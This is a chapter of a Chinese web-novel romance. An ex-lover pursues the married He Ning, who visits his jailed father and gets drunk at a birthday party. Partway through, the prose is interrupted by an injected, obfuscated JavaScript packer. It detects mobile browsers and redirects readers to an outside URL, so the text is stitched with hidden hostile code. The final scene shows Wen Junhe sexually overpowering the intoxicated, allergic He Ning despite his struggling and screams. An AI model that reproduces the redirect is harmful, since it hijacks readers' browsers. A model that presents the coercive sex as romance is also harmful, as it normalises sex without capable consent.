贺宁猛地甩开闻君鹤的手,眼神冷得像冰:“你跟踪我?” 闻君鹤的喉结动了动,声音发紧:“……我怕韩卿再对你下手,宁宁,我可以帮你。” 这句话把贺宁逗笑了。 他嘴角扯出一个讽刺的弧度:“真有意思。” 手指轻轻掸了掸被闻君鹤碰过的衣袖:“没你的这几年,我照样活得好好的。” 他转身就走,闻君鹤站在原地没动,身后突然传来门响,闻君鹤回头,正对上伏绍鹰隼般锐利的目光。老旧的楼道里,两个男人沉默地对视,空气仿佛凝固了。 那之后,孟轩也很爱往贺宁面前凑。 贺宁听到他愿意做证人,才一直忍着他。 闻君鹤也总是不请自来地出现他面前,贺宁有些心累地问他究竟想做什么。 闻君鹤说想帮他。 贺宁问他:“你以什么身份帮我啊。” “……朋友。” 贺宁:“谁告诉你我们是朋友的。” 闻君鹤沉默一瞬:“我自己想的。” 贺宁:“…………” 贺宁站在探视室的玻璃窗前,看着贺闳兴被狱警带进来。 即使穿着统一的囚服,这个男人依然脊背挺直,步伐沉稳,眼神锐利如鹰。岁月和牢狱生活磨去了他外露的锋芒,却让那种与生俱来的威压更加内敛而慑人。 “爸爸,我结婚了,这段婚姻是我自己选的,我觉得很满意。”贺宁对着话筒说,声音在空荡的探视室里格外清晰。 贺闳兴的目光落在儿子无名指的戒指上,嘴角微微上扬:“爸爸为你高兴。” 他的声音透过玻璃传来,低沉而温和:“不过我以为,你会为那个姓闻的小子守一辈子。” 贺宁的手指无意识地摩挲着戒指,金属的凉意透过皮肤传来。他抬头,正对上父亲深邃如海的眼睛,贺宁无奈地笑了:“爸爸,你就这么看不起我?” 贺闳兴靠在椅背上,囚服袖口露出的小臂上隐约可见几道疤痕。他笑起来时眼角的纹路比记忆中深了许多,语气里是毫不掩饰的骄傲与宠溺:“我的小王子,值得这世上最好的。” 说到最后随即眼神一冷:“但闻君鹤不配。” 贺宁客观开口道:“不怪他的。” 贺宁和周纪结婚半年的时候,两件事撞在了一起,韩卿案件一审宣判,还有他的生日,伏绍告诉贺宁时间太久,查不到当初和韩卿的那个相关人,贺宁也只能作罢。 周纪本想办个像样的生日宴,但贺宁摆摆手说没必要,最后只跟周家人简单吃了顿饭。 筷子还没放下,孟轩的电话就打了进来。 那家伙在电话那头大呼小叫,说派对都准备好了,就缺寿星到场。周纪说“去吧”,周崇立刻扔下饭碗说要跟着去。 “你病才好,”周纪皱眉的话还没说完,庞娆就打断道:“带他去吧,总闷在家里也不好。” 周纪瞥了眼周崇发亮的眼睛,心想这病秧子最近确实安分了不少。 周崇立刻跑去换衣服,脚步声在楼梯上咚咚响。 周纪松口放人,临走前特意叮嘱贺宁看着周崇别碰酒。 两人一前一后穿过酒店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900386|176590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长廊,贺宁对周崇说你今晚给我老实点,泳池边的彩灯把水面照得五光十色,空气中飘着淡淡的香水味。 侍者引他们拐过最后一个弯,突然爆发出“砰”的一声,孟轩开了香槟,泡沫喷得老高。 “寿星驾到!”他扯着嗓子喊,花衬衫的领口湿了一大片。 贺宁的目光越过人群,一眼就看到了角落里的闻君鹤。那人穿着黑衬衫地坐在高脚凳上。两人视线相撞的瞬间,闻君鹤低下头,灯光在他侧脸投出一片阴影。 “你叫他来干什么?”贺宁拽过孟轩的领子。 孟轩笑得恶劣,耳钉在霓虹灯下闪着光:“就爱看你现在对他爱答不理的样儿,爽得很。” 贺宁说有病。 要不是孟轩还有用,贺宁真想不想同他纠缠。 派对的气氛越来越热,贺宁随手划开孟轩扔在沙发上的手机,他知道孟轩的密码,看了几眼后又丢回去。 后来贺宁早把周纪的叮嘱抛到脑后,更顾不上盯着周崇。 闻君鹤不知什么时候凑过来,按住他又要倒酒的手:“贺宁,你酒精过敏。” 他声音压得很低。 贺宁一把推开他,脸颊泛着不正常的红:“你谁啊?管得着吗?” 他仰头灌下半杯威士忌,混合着果酒的甜腻,喉结滚动间酒液顺着下巴滑落。 孟轩在旁起哄:“闻总,人家老公姓周。” 他故意把“老公”两个字咬得极重。 “没错!”贺宁醉醺醺地搂住酒瓶,指尖戳向闻君鹤胸口,“我、我老公是周纪……” 贺宁打了个酒嗝,尾音飘忽着上扬,眼睛里蒙着层水雾,却遮不住那股子倔劲:“你算老几?” 闻君鹤的手在半空僵了一瞬,最终慢慢收回。派对闹到后半夜,满屋子横七竖八躺倒的人里,只有他还保持着清醒。他架起醉得东倒西歪的贺宁,避开地上的酒瓶往二楼走。 躺在角落的周崇突然睁开眼,目光意味深长地盯着两人离去的背影。 休息室里,贺宁的皮肤因为酒精过敏泛起大片红疹。 他强忍着不去抓挠,被闻君鹤放到床上时,他蜷着,眼角泛红,漂亮的脸蛋配上微红的眼角,像是某种警惕的猫科动物:“闻君鹤,我都放过你了,你能不能也放过我吗?” 闻君鹤站在床边,袖口卷到手肘,露出结实的小臂。他低头看着贺宁抓红的脖子,眉头皱得能夹死蚊子,却一句话都没说。 闻君鹤突然俯身靠近,距离近到贺宁的视野里只剩下他一个人。温热的呼吸喷在颈侧,闻君鹤把头埋进贺宁肩窝,声音闷闷的:“在国外见不到你的时候,我还能忍,可现在我真的受不了了……” “你可以对别人笑,偏偏就不拿正眼看我。” 贺宁恍惚看着天花板上的吊灯,灯光刺得眼睛发酸。闻君鹤的嘴唇贴在他后颈,声音抖得不成样子:“我真的什么都能改的,别不要我。” “我已经结婚了,你别这么不要脸吗?”贺宁说得很慢。 闻君鹤的吻落在他的侧脸上:“你不爱他,明明我们先办的婚礼。周纪才是后来的。” 贺宁突然笑了,笑声干巴巴的:“你知道我脑子坏了,记不清了。” 贺宁没撒谎。那些被扔掉的日记本,相册还是信件,都是他刻意要忘记的。医疗事故后,医生说过,只要不反复回忆的事,都会慢慢从记忆里消失。 他以前怕忘,把重要的事都记在本子上,闻君鹤的习惯,他们第一次约会穿的什么衣服,甚至吵架时说过的话。 现在那本子早就应该化成灰了, 闻君鹤的嘴唇贴在他脸颊上,抖得厉害。手掌按在贺宁后背,温度透过衬衫传过来:“没关系,我都记得,我会一件件告诉你,贺宁,求求你,别推开我。” 闻君鹤以前从不会这样低声下气地说话,更不会把“求”字挂在嘴边。 贺宁没想过闻君鹤能这么纠缠不放,只好偏头放大招:“闻君鹤,和我在一起是要做//爱的……你最好想清楚,不做……就滚远点……” 闻君鹤缓慢坐起身。 贺宁以为他还是过不了心里那关要离开的时候,突然闻君鹤低头,捏住了他的下巴,随即贺宁的嘴唇就被他含吮住了。 闻君鹤彻底把他压进了绵软的被子里。 灯光不亮的环境里闻君鹤的神情被隐去,他的气息很乱,再不负往日的平静,浑身都是躁意。 贺宁只感觉自己衬衣纽扣被粗暴地扯开,裤子被扒了。 贺宁的腿骨肉匀亭,脚背白得像玉,上面能看到很清楚的青色血管。 而闻君鹤扣住他的腿,就低头亲他大腿根,高挺笔直的鼻梁戳在那块滑嫩的皮肤上。 闻君鹤俯身靠近时,贺宁整个人都绷紧了。 闻君鹤比他强壮有力太多,这种力量上的绝对压制让贺宁连挣开的力气都没有。 他羞耻得怒骂、尖叫,最后累到气喘吁吁,却毫无作用,贺宁简直羞得想死,浑身发红而且哆嗦。 贺宁双颊挂满泪水,眼尾湿润发红:“你他妈……跟谁学的!” 以前花样没这么多的,贺宁脸色难看得要死,该不会闻君鹤在国外鬼混的用在他身上吧。 闻君鹤抬起头理直气壮道。 “看片///子学的,我看了好多遍,你想怎么做,我都可以配合你。”